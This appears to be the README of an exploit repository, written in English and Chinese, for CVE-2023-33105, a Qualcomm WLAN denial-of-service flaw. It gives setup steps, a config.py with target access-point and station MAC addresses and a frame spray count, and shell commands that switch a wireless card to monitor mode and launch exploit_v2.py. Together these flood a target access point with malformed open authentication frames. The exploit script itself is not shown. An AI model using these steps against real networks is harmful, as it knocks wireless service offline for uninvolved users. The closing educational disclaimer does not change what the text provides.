
This repository contains the exploit code for CVE-2023-33105, a vulnerability identified in Qualcomm devices. The exploit leverages authentication frames to perform a denial of service (DoS) attack on a target access point (AP) by sending a large number of open authentication frames with an invalid transaction sequence number.
本仓库包含 CVE-2023-33105 的利用代码,该漏洞存在于高通设备中。此利用通过发送大量具有无效事务序列号的开放认证帧,对目标接入点(AP)执行拒绝服务(DoS)攻击。
安装所需的 Python 库,运行:
pip install -r requirements.txt
config.py:用于设置目标 MAC 地址和参数的配置文件。exploit_v2.py:主利用脚本。在运行利用之前,请更新 config.py 文件中的目标 MAC 地址和其他参数。
# config.py
# MAC address of the station (client)
sta_target = 'XX:XX:XX:XX:XX:XX' # change this
# MAC address of the access point (AP)
ap_target = 'YY:YY:YY:YY:YY:YY' # change this
# Number of frames to send
spray = 500
# Interval for checking if the BSSID is still up (in seconds)
check_interval = 60
运行利用的步骤如下:
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
python exploit_v2.py
该脚本会向目标 AP 发送大量具有无效事务序列号的开放认证帧,导致暂时性 DoS。
CVE-2023-33105 是高通设备中的一个漏洞,当发送大量具有无效事务序列号的开放认证帧时,会导致 WLAN 主机和固件出现暂时性拒绝服务。
您需要 Python 3.x、Scapy、Airodump-ng 以及支持数据包注入的无线网卡。
未经许可在网络上使用此脚本是违法的。本代码仅用于教育目的。